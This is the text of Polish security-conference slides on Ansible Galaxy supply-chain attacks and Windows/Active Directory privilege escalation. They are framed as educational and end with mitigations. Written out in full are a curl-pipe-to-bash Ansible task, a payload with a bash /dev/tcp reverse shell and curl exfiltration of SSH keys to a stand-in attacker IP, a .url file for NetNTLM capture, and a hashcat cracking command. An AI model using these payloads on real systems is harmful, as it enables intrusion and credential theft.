Hacking Depot

MEGA Sekurak Hacking Party @ Kraków

20.10.2025

Marek Rzepecki
Maciej Szymczak

Maciej Szymczak

CISO @

/in/maciejszymczak

maciej.szymczak@securitum.pl

a wcześniej…

Współautor drugiego tomu "Wprowadzenia do bezpieczeństwa IT".

~setki pentestów

~1k+ uczestników

~tysiące serwerów

  • pentester przez siedem lat,
  • szkoleniowiec cybersec
    (nadal, jak widać),
  • admin przez yy… od zawsze ;)

Marek Rzepecki

marek.rzepecki@securitum.pl

Współautor pierwszego tomu "Wprowadzenia do bezpieczeństwa IT"

~setki pentestów (infra, web, mobile)

  • pentester - 7+ lat z Securitum
  • szkoleniowiec cybersec
  • konferencje branżowe, materiały edukacyjne

m.in NetSec Master,

WebSec Master

Ethical hacker @

  1. Wprowadzenie
  2. Część 1: Dependency Confusion w Ansible
  3. Ansible Galaxy Namespace & RCE
  4. Podsumowanie - dlaczego tak się stało i jak tego uniknąć?
  5. Część 2: Eskalacja uprawnień na 1001 sposobów i poszerzenie obecności w domenie
  6. Client-side coercion
  7. Server-side coercion & domain takeover 
  8. Podsumowanie i Q&A

Agenda

Kontent edukacyjny!

Pokazujemy to, żebyście wiedzieli jak tego uniknąć, a nie jak to zrobić komuś krzywdę.

Nie atakuj bez pisemnej zgody właściciela systemu, sieci czy aplikacji. To nielegalne.

Prezentacja nie jest nagrywana.

Ale slajdy udostępniamy ;)

https://szymczak.at/talks/ansible-dependency-confusion-and-pwning-ad

Wprowadzenie

Zapracowany admin

Ramsey Bolton

Administrator, który musi automatyzować.
I to szybko.

Pracuje w kulturze, gdzie "DevOps" to synonim "admina, który pisze skrypty".

Jego cel: wdrożyć nową konfigurację uwierzytelniania na 100 serwerach.


Na wczoraj.

Bash vs Ansible…

Imperatywnie czy deklaratywnie?

#!/bin/bash

# Sprawdzenie, czy pakiet nginx jest już zainstalowany
if ! dpkg -s nginx > /dev/null 2>&1; then
    echo "Pakiet Nginx nie został znaleziony. Rozpoczynanie instalacji..."
    
    # 1. Aktualizacja listy pakietów
    apt-get update
    
    # 2. Instalacja Nginx z opcją -y (potwierdzenie)
    if apt-get install -y nginx; then
        echo "Nginx zainstalowany pomyślnie."
    else
        echo "BŁĄD: Instalacja Nginx nie powiodła się. Sprawdź uprawnienia lub połączenie sieciowe." 1>&2
        exit 1
    fi
else
    echo "Nginx jest już zainstalowany."
fi
---
- name: Instalacja i konfiguracja Nginx
  hosts: all 
  become: yes
  tasks:
    - name: Ensure nginx is installed
      ansible.builtin.apt:
        name: nginx
        state: present
        update_cache: yes
      
    - name: Ensure nginx is running
      ansible.builtin.service:
        name: nginx
        state: started
        enabled: yes

Atak na łańcuch dostaw (ang. supply chain)

Jak to działa w npm/pip?

  1. Atakujący publikuje w publicznym repozytorium (npm, PyPI) złośliwy pakiet firma-auth w wersji 1.0.1.
  2. Ofiara - system CI/CD podczas budowania projektu pobiera nowszą, publiczną, złośliwą wersję.
  3. Narzędzie zostaje oszukane przez numer wersji

Cel - wewnętrzna biblioteka firma-auth w wersji 1.0.0.

Uruchomienie złośliwego kodu -> GAME OVER

Cześć 1: Dependency Confusion w Ansible

A co z Ansible?

Bezpieczny z założenia <3

Ansible szuka ról TYLKO lokalnie

  1. ./roles/ (obok playbooka)
  2. ~/.ansible/roles/
  3. /etc/ansible/roles/

Jeśli rola nie zostanie znaleziona, Ansible zwróci błąd.

Atakujący musi oszukać CZŁOWIEKA, nie narzędzie!

Globalny targ z gotowymi rozwiązaniami

czyli Ansible Galaxy

Aby użyć roli ze społeczności, Ramsey musi świadomie dodać ją do projektu:

roles:
  # Rola od znanego dostawcy
  - name: community.mysql

  # Rola od nieznajomego...
  - name: authentication-prod.setup

Dwa problemy = dwa wektory ataku

Motto Ansible Galaxy - "używasz na własne ryzyko"

#1 zaufanie & socjotechnika

#2 brak kontroli nad treścią

Typosquatting
(coMunity.mysql vs community.mysql) 

Wiarygodnie brzmiące nazwy (authentication-prod.setup) 

Polecajki od AI (fałszywe lub nie!)

W zadaniach roli można umieścić dowolny kod.

Nikt nie weryfikuje zawartości ról, ani ich aktualizacji.

Ansible Galaxy Namespace
& RCE

A skąd wziąć taką ładną nazwę?

To tzw. namespace w Galaxy.

Tak - wystarczy założyć konto na GitHub - i to będzie Twój namespace :)

HINT: załóż konto na GH dla swojej firmy - tylko żeby je zarezerwować, inaczej ktoś może próbować się pod Twoją markę podszyć!!

Nazwa na GH = namespace w Galaxy.

Wygląda profesjonalnie, prawda?

Nazwa authentication-prod/ansible-role-setup - brzmi oficjalnie.

README - profesjonalny opis, instrukcja użycia, zmienne.

Odznaki "build: passing", "License: MIT" - budują zaufanie.

A kod?

Na pierwszy rzut oka…

…całkiem normalny.

ansible.bultin.shell

NOT GOOD!

Analiza fragmentu kodu

- name: Fetch latest security policy definitions from central repository
  ansible.builtin.shell: >
    curl -s https://raw.githubusercontent.com/authentication-prod/policy-definitions/main/definitions.sh | bash
  changed_when: false
  1. ansible.builtin.shell
  2. pipe i bash
  3. changed_when: false

RED FLAGS!

Co jest w tych "politykach"?

ATTACKER_IP="1.2.3.4"
ATTACKER_PORT="4444"

# 1. Create a reverse shell...
(bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &)

# 2. Exfiltrate SSH private keys...
SSH_DIR="$HOME/.ssh"
if [ -f "$SSH_DIR/id_rsa" ]; then
    curl -s -X POST --data-binary @"$SSH_DIR/id_rsa" "http://$ATTACKER_IP/upload-keys.php?user=$(whoami)&host=$(hostname)" > /dev/null 2>&1
fi

echo "System security policy definitions updated successfully."

Payload?

curl -s http://canarytokens.com/static/about/fdh9jbzycxt4jht9sk480srol/post.jsp > /dev/null 2>&1

(nie chciałem uzbrojonego payloadu zostawiać w Ansible Galaxy)

tym razem niegroźny…

Efekt? Wystrzelony trigger (lub reverse shell…)

Podsumowanie - dlaczego tak się stało i jak tego uniknąć?

To jak żyć?

Podsumowanie części pierwszej.

Nie instalować zew. modułów bez dogłębnej analizy!

Przeczytanie kodu to dobry pomysł, ale niekoniecznie tylko oczami.

ansible-lint
WARNING: tasks/main.yml:15
command-instead-of-module: curl used in shell module. Use get_url module instead.

WARNING: tasks/main.yml:15
risky-shell-pipe: Shells that pipe to other shells are risky.

WARNING: tasks/main.yml:17
no-changed-when: `changed_when: false` is not idempotent.

To jak żyć?

Podsumowanie części pierwszej.

checkov
Check: CKV_ANSIBLE_2: "Ensure shell module is not used with pipes"
FAILED for resource: Fetch latest security policy definitions from central repository
File: /tasks/main.yml:15-17

Guide:
Piping to shell is a security risk as it can execute untrusted code.
It is recommended to use the get_url or uri module to download files and then execute them after verification.

Jesteśmy w środku!

Atakujący przejął dostęp do komputera z wykorzystaniem reverse shella.

I co dalej?

Marek Rzepecki!

Eskalacja uprawnień w Windows

i proste poszerzenie obecności w domenie AD

Co my tu mamy?

tutaj start wycieczki

Client-side coercion

Przykład - plik .lnk

Pliki skrótów Windows (.lnk) to standardowe skróty, które mogą wskazywać też na zewnętrzny zasób - ale wymagają kliknięcia.

Istnieje jednak specyficzne opcjonalne pole - Icon Location

To pole wskazuje na lokalizację ikony pliku

przykładów jest więcej:

https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/

Inny - plik .url

[InternetShortcut]
URL=http://sekurak.pl/pwned
WorkingDirectory=test
IconFile=\\192.168.56.41\%USERNAME%.icon
IconIndex=1

Pliki .url to skróty otwierające adresy w przeglądarce.

 

Mogą mieć własną ikonę, tak jak .lnk.

 

Explorer pobiera ikonę automatycznie z podanej ścieżki.

Mamy uprawnienia RW w zasobie sieciowym (np. firmowy share)

Tworzymy i wgrywamy plik .lnk, wskazując, że ikona znajduje się na naszym serwerze

Komputer użytkownika który wyświetla zawartość zasobu, próbuje pobrać brakujący element z naszego serwera

Uwierzytelnia się do nas zostawiając swój NetNTLM ;-)

Łamanie NetNTLMv2 z Hashcat

sudo hashcat -r best64.rule -w 4 -O -m 5600 hash /usr/share/wordlists/rockyou.txt

Efekt

Pwn3d

Server-side coercion & domain takeover

W Windows, możliwe jest wykonywanie pewnych funkcji (procedur) zdalnie z użyciem RPC (Remote Procedure Call)

np.EfsRpcOpenFileRaw

The EfsRpcOpenFileRaw method is used to open an encrypted object on the server for backup or restore.

Różne usługi (np. „drukarka”, „zarządzanie certyfikatami”, „EFS”) udostępniają własny interfejs RPC

NAZWA MECHANIZMU

FUNKCJA

TYPOWY PORT

Endpoint Mapper

mówi, na jakim porcie

działa dany RPC

TCP 135

Usługa RPC

wykonywanie odpowiednich

funkcji na systemie

TCP 49152 - 65535

(zależnie od wersji Windows)

Transport

np. SMB, HTTP,

Named Pipes

zależy od protokołu

Czyli:

  1. Klient pyta port 135: „hej, na jakim porcie działa EFSRPC?”

  2. Serwer odpowiada: „na 49160”.

  3. Klient łączy się na ten port i wywołuje zdalną funkcję.

Ale jest problem.

Niektóre funkcje RPC mogą pozwalać na wykonywanie połączeń zdalnych

1. Wywołujemy na zdalnym systemie call RPC:

EfsRpcOpenFileRaw(\\attacker\share)

 

2. Funkcja ta powoduje wykonanie połączenia do naszego hosta, i próbę uwierzytelnienia serwera do naszego zasobu -> przesłanie challenge NTLM

3. Jeśli wymusimy uwierzytelnienie od istotnego hosta, to możemy próbować przekazać challenge-response dalej -> tzw. NTLM relay

Jest sporo różnych nazwanych technik tego ataku, np : PetitPotam, PrinterNightmare itd

nasz aktualny cel

Pwn3d

NTLM Relay

Sposobów na wykorzystanie challenge NTLM serwera jest kilka - np. w połączeniu z usługą ADCS 

i Web Enrollment (błąd ESC8)

Efekt

Efekt

Pwn3d

Krok wstecz - password reuse

Kiedy instalujemy na nowym kontrolerze domeny usługi Active Directory, konto lokalnego administratora (użytkownik: "Administrator") staje się pierwszym adminem domeny

Istnieje szansa, że to samo hasło administratora domeny, zostało wykorzystane w kilku miejscach:

 

"tego konta i tak nigdy nie będziemy używali, więc ustawię takie samo 30 znakowe hasło"

Krok wstecz - password reuse

Problem: jeśli pozyskamy hasz LM tego konta, to możemy zalogować się nim do innych hostów (standardowy Pass The Hash)

 

Admin jednej domeny = admin kilku domen

Efekt

Efekt

Jak to naprawić?

1. Unquoted Service Path - używaj cudzysłowia ;-)

i weryfikuj podpisy binarek

2. Dump SAM & password reuse

 

                 😡

sensowny EDR & SIEM

3. Client-side coercion - zablokuj automatyczne pobieranie zasobów UNC z niezaufanych źródeł,

włącz SMB signing 

4. Server-side coercion (PetitPotam / PrintNightmare itd) - patche; ogranicz usługi RPC (np. Print Spooler/EFSRPC)

Maciej Szymczak

/in/maciejszymczak

maciej.szymczak@securitum.pl

Marek Rzepecki

marek.rzepecki@securitum.pl

Pytania?

https://szymczak.at/talks/ansible-dependency-confusion-and-pwning-ad

Slajdy